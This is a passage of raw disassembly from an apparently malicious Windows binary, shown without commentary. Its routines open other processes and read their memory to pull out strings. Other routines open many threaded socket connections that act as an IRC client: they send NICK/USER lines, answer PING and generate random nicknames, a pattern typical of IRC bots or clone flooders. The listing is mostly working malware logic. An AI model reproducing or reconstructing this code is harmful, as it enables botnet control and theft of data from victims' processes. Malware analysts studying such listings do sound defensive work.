cmp eax, [esp+28h+var_8]
jb short loc_417D78
loc_417DCB: ; CODE XREF: sub_417C5D+10Fj
test edi, edi
jz short loc_417DD6
push edi
call dword_4EC01C
loc_417DD6: ; CODE XREF: sub_417C5D+170j
mov edi, [esp+28h+var_4]
jmp loc_417D4C
; ---------------------------------------------------------------------------
loc_417DDF: ; CODE XREF: sub_417C5D+13Cj
xor eax, eax
jmp loc_417D5A
sub_417C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DE6 proc near ; CODE XREF: sub_417A8B+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_4F5358 ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417E0F
xor eax, eax
jmp loc_417F8A
; ---------------------------------------------------------------------------
loc_417E0F: ; CODE XREF: sub_417DE6+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_4F5428 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_4F541C
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_4F5418
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_4F5424
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417E5F
xor esi, esi
jmp loc_417F7D
; ---------------------------------------------------------------------------
loc_417E5F: ; CODE XREF: sub_417DE6+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_4F5420 ; VirtualQueryEx
test eax, eax
jz loc_417F6C
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_417F6C
test [ebp+var_2B], 1
jnz loc_417F6C
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_417F6C
loc_417EC2: ; CODE XREF: sub_417DE6+112j
push edi ; Str2
push offset word_4EB014 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_417EEA
lea eax, [edi+200h]
push eax ; Str2
push offset word_4EB814 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_417EFA
loc_417EEA: ; CODE XREF: sub_417DE6+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_417F6C
jmp short loc_417EC2
; ---------------------------------------------------------------------------
loc_417EFA: ; CODE XREF: sub_417DE6+102j
test edi, edi
jz short loc_417F6C
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_4F53E8 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_417F35
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_4F53E4 ; FileTimeToSystemTime
test eax, eax
jz short loc_417F35
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_417F35: ; CODE XREF: sub_417DE6+12Bj
; sub_417DE6+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4EC238, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4EC230, eax
mov Src, edi
loc_417F6C: ; CODE XREF: sub_417DE6+90j
; sub_417DE6+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_417F7D: ; CODE XREF: sub_417DE6+74j
push [ebp+var_4]
call ds:dword_4F533C ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_417F8A: ; CODE XREF: sub_417DE6+24j
pop esi
leave
retn
sub_417DE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F8D proc near ; CODE XREF: sub_417A8B:loc_417B83p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call ds:dword_4F5358 ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_41807F
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_4F5428 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_418076
mov edi, ds:dword_4F541C
loc_417FD8: ; CODE XREF: sub_417F8D+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_4F5420 ; VirtualQueryEx
test eax, eax
jz short loc_418064
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_41806A
test [ebp+var_13], 1
jnz short loc_41806A
push ecx
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_4F5424 ; ReadProcessMemory
test eax, eax
jz short loc_418056
push offset word_4EB014 ; Str2
push esi ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_418056
lea eax, [esi+400h]
push offset word_4EB814 ; Str2
push eax ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_418086
loc_418056: ; CODE XREF: sub_417F8D+9Fj
; sub_417F8D+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
jmp short loc_41806A
; ---------------------------------------------------------------------------
loc_418064: ; CODE XREF: sub_417F8D+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_41806A: ; CODE XREF: sub_417F8D+71j
; sub_417F8D+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417FD8
loc_418076: ; CODE XREF: sub_417F8D+3Fj
push [ebp+arg_0]
call ds:dword_4F533C ; CloseHandle
loc_41807F: ; CODE XREF: sub_417F8D+1Ej
xor eax, eax
loc_418081: ; CODE XREF: sub_417F8D+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418086: ; CODE XREF: sub_417F8D+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4EC230, ebx
mov Src, eax
cmp [eax], cl
jnz short loc_4180A8
cmp [eax+1], cl
jz short loc_4180B0
loc_4180A8: ; CODE XREF: sub_417F8D+114j
; sub_417F8D+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4180A8
loc_4180B0: ; CODE XREF: sub_417F8D+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call ds:dword_4F533C ; CloseHandle
push 1
pop eax
jmp short loc_418081
sub_417F8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180C3 proc near ; CODE XREF: sub_417A8B+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4EC22C
push esi
mov esi, ds:dword_4F541C
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
mov ecx, dword_4EC22C
mov [ebp+var_4], eax
add ecx, ecx
push ecx ; Size
push Src ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4EC238
push eax
call dword_4EC018
push [ebp+var_4]
mov edi, offset byte_4EC024
push offset word_4EB014
push offset word_4EB814
push [ebp+arg_0]
push offset asc_44EE50 ; "-"
push 200h ; Count
push edi ; Dest
call __snprintf
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4180C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41815A proc near ; CODE XREF: sub_417A8B:loc_417BC7p
var_18 = word ptr -18h
var_16 = word ptr -16h
Dst = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4EC22C
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_4F541C ; GetProcessHeap
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+Dst], eax
mov ebx, offset word_4EB814
mov edi, 200h
mov esi, offset byte_4EAE14
loc_4181A0: ; CODE XREF: sub_41815A+FAj
mov eax, dword_4EC22C
add eax, eax
push eax ; Size
push Src ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4EC018
mov eax, dword_4EC22C
and [ebp+var_10], 0
mov ecx, [ebp+Dst]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_418215
loc_4181DD: ; CODE XREF: sub_41815A+B3j
cmp [ebp+var_8], 0
jz short loc_418232
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_418201
cmp byte ptr [ecx+1], 0
jnz short loc_418201
cmp dl, 20h
jnb short loc_4181FB
and [ebp+var_8], 0
loc_4181FB: ; CODE XREF: sub_41815A+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_418205
loc_418201: ; CODE XREF: sub_41815A+90j
; sub_41815A+96j
and [ebp+var_8], 0
loc_418205: ; CODE XREF: sub_41815A+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_4181DD
cmp [ebp+var_8], 0
jz short loc_418232
loc_418215: ; CODE XREF: sub_41815A+81j
push [ebp+Dst]
push offset word_4EB014
push ebx
push [ebp+arg_0]
push offset asc_44EEA0 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_41824A
; ---------------------------------------------------------------------------
loc_418232: ; CODE XREF: sub_41815A+87j
; sub_41815A+B9j
push offset word_4EB014
push ebx
push [ebp+arg_0]
push offset asc_44EEF0 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 18h
loc_41824A: ; CODE XREF: sub_41815A+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4181A0
push [ebp+Dst]
push 0
call ds:dword_4F541C ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_41815A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418273 proc near ; CODE XREF: sub_41842D+2Fp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4E3178 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4182EF
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4E30F8 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4E3138 ; inet_addr
cmp eax, esi
jnz short loc_4182D4
push [ebp+arg_0]
call dword_4E317C ; gethostbyname
test eax, eax
jz short loc_4182EF
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_4182D4: ; CODE XREF: sub_418273+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4E30A0 ; connect
cmp eax, esi
jnz short loc_4182F3
push edi
call dword_4E3190 ; closesocket
loc_4182EF: ; CODE XREF: sub_418273+1Bj
; sub_418273+58j
mov eax, esi
jmp short loc_4182F5
; ---------------------------------------------------------------------------
loc_4182F3: ; CODE XREF: sub_418273+73j
mov eax, edi
loc_4182F5: ; CODE XREF: sub_418273+7Ej
pop edi
pop esi
leave
retn
sub_418273 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4182F9(char *Dest)
sub_4182F9 proc near ; CODE XREF: sub_401CC7+328Ep
; sub_401CC7+32FAp ...
Dest = dword ptr 4
push esi
push edi
mov edi, [esp+8+Dest]
push offset asc_44FBC0 ; "\n"
push edi ; Dest
call _strcat
pop ecx
mov esi, offset dword_4EC244
pop ecx
loc_418311: ; CODE XREF: sub_4182F9+42j
cmp dword ptr [esi-4], 1
jnz short loc_41832F
cmp dword ptr [esi], 0
jbe short loc_41832F
push 0
push edi ; Str
call _strlen
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4E3148 ; send
loc_41832F: ; CODE XREF: sub_4182F9+1Cj
; sub_4182F9+21j
add esi, 210h
cmp esi, offset dword_4F2964
jl short loc_418311
pop edi
pop esi
retn
sub_4182F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418340(char *Str,int)
sub_418340 proc near ; CODE XREF: sub_41842D+155p
Dst = byte ptr -420h
Dest = byte ptr -220h
Str2 = dword ptr -20h
var_1C = dword ptr -1Ch
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
push offset asc_44FBC4 ; " "
push [ebp+Str] ; Str
call _strtok
pop ecx
mov [ebp+Str2], eax
pop ecx
lea esi, [ebp+var_1C]
push 7
xor ebx, ebx
pop edi
loc_418366: ; CODE XREF: sub_418340+39j
push offset asc_44FBC8 ; " "
push ebx ; Str
call _strtok
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_418366
cmp [ebp+Str2], ebx
mov esi, [ebp+var_1C]
jnz short loc_41838F
cmp esi, ebx
jnz short loc_41838F
push 1
pop eax
jmp loc_418428
; ---------------------------------------------------------------------------
loc_41838F: ; CODE XREF: sub_418340+41j
; sub_418340+45j
push [ebp+Str2] ; Str2
push offset aPing_1 ; "PING"
call _strcmp
pop ecx
pop ecx
test eax, eax
push esi ; Str2
jnz short loc_4183AA
push offset aPongS_0 ; "PONG %s\n"
jmp short loc_4183F8
; ---------------------------------------------------------------------------
loc_4183AA: ; CODE XREF: sub_418340+61j
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4183CB
push esi ; Str2
push offset a432 ; "432"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_418426
loc_4183CB: ; CODE XREF: sub_418340+78j
push 200h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_418650
add esp, 10h
lea eax, [ebp+Dst]
push eax
push offset aNickS_9 ; "NICK %s\n"
loc_4183F8: ; CODE XREF: sub_418340+68j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
loc_418426: ; CODE XREF: sub_418340+89j
xor eax, eax
loc_418428: ; CODE XREF: sub_418340+4Aj
pop edi
pop esi
pop ebx
leave
retn
sub_418340 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41842D proc near ; DATA XREF: sub_4185D2+61o
Dest = byte ptr -4008h
var_3008 = byte ptr -3008h
Dst = byte ptr -2008h
Str = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call __alloca_probe
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4EC24C[esi]
mov dword_4EC240[esi], edi
push dword_4EC44C[esi]
push eax
call sub_418273
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4EC244[esi], eax
jb loc_4185B2
mov edi, 1000h
lea eax, [ebp+Dst]
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_418650
lea eax, [ebp+Dest]
push eax ; Dest
call sub_418650
lea eax, [ebp+var_3008]
push eax ; Dest
call sub_418650
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push dword_4EC244[esi]
call dword_4E3148 ; send
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_418509: ; CODE XREF: sub_41842D+111j
; sub_41842D+180j
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Str]
push ebx
push edi
push eax
push dword_4EC244[esi]
call dword_4E3110 ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_4185B2
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_418509
loc_418540: ; CODE XREF: sub_41842D+17Ej
mov al, [ebp+eax+Str]
cmp al, 0Dh
jz short loc_418567
cmp al, 0Ah
jz short loc_418567
cmp [ebp+arg_0], 0FA0h
jz short loc_418567
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+Dst], al
jmp short loc_4185A1
; ---------------------------------------------------------------------------
loc_418567: ; CODE XREF: sub_41842D+11Cj
; sub_41842D+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4185A1
push dword_4EC244[esi] ; int
mov [ebp+eax+Dst], bl
lea eax, [ebp+Dst]
push eax ; Str
call sub_418340
pop ecx
test eax, eax
pop ecx
ja short loc_4185B2
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_4185A1: ; CODE XREF: sub_41842D+138j
; sub_41842D+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_418540
jmp loc_418509
; ---------------------------------------------------------------------------
loc_4185B2: ; CODE XREF: sub_41842D+40j
; sub_41842D+107j ...
mov dword_4EC240[esi], ebx
mov esi, dword_4EC244[esi]
cmp esi, ebx
jbe short loc_4185C9
push esi
call dword_4E3190 ; closesocket
loc_4185C9: ; CODE XREF: sub_41842D+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_41842D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4185D2(char *Source,int,int)
sub_4185D2 proc near ; CODE XREF: sub_401CC7+31DBp
var_8 = byte ptr -8
var_4 = dword ptr -4
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_41864B
loc_4185E4: ; CODE XREF: sub_4185D2+77j
xor edi, edi
mov eax, offset dword_4EC240
loc_4185EB: ; CODE XREF: sub_4185D2+28j
cmp [eax], ebx
jz short loc_4185FC
add eax, 210h
inc edi
cmp eax, offset dword_4F2960
jl short loc_4185EB
loc_4185FC: ; CODE XREF: sub_4185D2+1Bj
cmp edi, 31h
jz short loc_41864B
mov esi, edi
push [ebp+Source] ; Source
imul esi, 210h
lea eax, dword_4EC24C[esi]
push eax ; Dest
call _strcpy
mov eax, [ebp+arg_4]
pop ecx
mov dword_4EC44C[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4EC240[esi], 1
push eax
push ebx
push edi
push offset sub_41842D
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_4185E4
loc_41864B: ; CODE XREF: sub_4185D2+10j
; sub_4185D2+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418650(char *Dest)
sub_418650 proc near ; CODE XREF: sub_401CC7+3747p
; sub_401CC7+378Dp ...
Source = byte ptr -40h
var_2D = byte ptr -2Dh
Dst = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
Count = dword ptr -0Ch
var_4 = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
call _rand
mov [ebp+Count], eax
fild [ebp+Count]
fmul ds:dbl_43C4D8
call __ftol
cmp eax, 1
jnz short loc_41869A
call _rand
call _rand
push 66h
cdq
pop ecx
idiv ecx
push off_44F244[edx*4]
jmp short loc_4186B3
; ---------------------------------------------------------------------------
loc_41869A: ; CODE XREF: sub_418650+2Fj
call _rand
call _rand
cdq
mov ecx, 0C0h
idiv ecx
push off_44EF44[edx*4] ; Source
loc_4186B3: ; CODE XREF: sub_418650+48j
lea eax, [ebp+Dst]
push eax ; Dest
call _strcpy
pop ecx
lea eax, [ebp+Dst]
pop ecx
push ebx
push esi
push edi
push eax ; Str
call _strlen
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+Count], eax
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4D0
call __ftol
mov ebx, eax
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_43C4C8
call __ftol
cmp esi, 2
mov edi, offset a__3 ; "-|`_\\{[]}"
jle short loc_418726
cmp esi, 3
jnz short loc_41871D
cmp ebx, 1
jz short loc_418726
loc_41871D: ; CODE XREF: sub_418650+C6j
cmp eax, 1
jnz loc_4187E0
loc_418726: ; CODE XREF: sub_418650+C1j
; sub_418650+CBj
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4C0
call __ftol
push off_44F244[eax*4] ; Source
lea eax, [ebp+Source]
push eax ; Dest
call _strcpy
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+Dst]
push eax ; Val
push edi ; Str
call _strchr
add esp, 10h
test eax, eax
jnz short loc_4187CD
movsx eax, [ebp+Source]
push eax ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_4187CD
call _rand
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_43C4C8
call __ftol
cmp eax, 1
jnz short loc_4187CD
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_43C4C8
call __ftol
mov al, byte ptr a__3[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_4187CD: ; CODE XREF: sub_418650+111j
; sub_418650+122j ...
push [ebp+Count] ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call _strncat
add esp, 0Ch
loc_4187E0: ; CODE XREF: sub_418650+D0j
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+Dst]
push eax ; C
mov [ebp+var_4], esi
call _isdigit
pop ecx
test eax, eax
pop ecx
jnz loc_418A48
and [ebp+Count], eax
movsx eax, byte ptr [ebx-1]
push eax ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz loc_41893F
call _rand
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_43C4C8
call __ftol
cmp esi, 3
jz short loc_41884E
cmp eax, 1
jnz loc_41893F
loc_41884E: ; CODE XREF: sub_418650+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_418890
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_43C4C8
call __ftol
mov al, byte ptr a__3[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4188AC
; ---------------------------------------------------------------------------
loc_418890: ; CODE XREF: sub_418650+207j
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B8
call __ftol
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4188AC: ; CODE XREF: sub_418650+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+Count], ebx
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B0
call __ftol
cmp esi, 3
jz short loc_4188D5
cmp eax, ebx
jnz short loc_41893F
loc_4188D5: ; CODE XREF: sub_418650+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41891A
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_43C4C8
call __ftol
mov al, byte ptr a__3[eax] ; "-|`_\\{[]}"
mov [ebp+esi+Dst], al
jmp short loc_418938
; ---------------------------------------------------------------------------
loc_41891A: ; CODE XREF: sub_418650+28Fj
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B8
call __ftol
mov cl, 41h
sub cl, al
mov [ebp+esi+Dst], cl
loc_418938: ; CODE XREF: sub_418650+2C8j
inc esi
mov [ebp+Count], ebx
mov [ebp+var_4], esi
loc_41893F: ; CODE XREF: sub_418650+1C9j
; sub_418650+1F8j ...
cmp esi, 6
jge loc_4189C8
cmp esi, 5
jge short loc_418960
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4D0
jmp short loc_41897E
; ---------------------------------------------------------------------------
loc_418960: ; CODE XREF: sub_418650+2FBj
call _rand
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_43C4C8
loc_41897E: ; CODE XREF: sub_418650+30Ej
call __ftol
test eax, eax
jnz short loc_4189A1
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4A8
call __ftol
mov cl, 30h
jmp short loc_4189BE
; ---------------------------------------------------------------------------
loc_4189A1: ; CODE XREF: sub_418650+335j
cmp eax, 1
jnz short loc_4189C8
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B8
call __ftol
mov cl, 41h
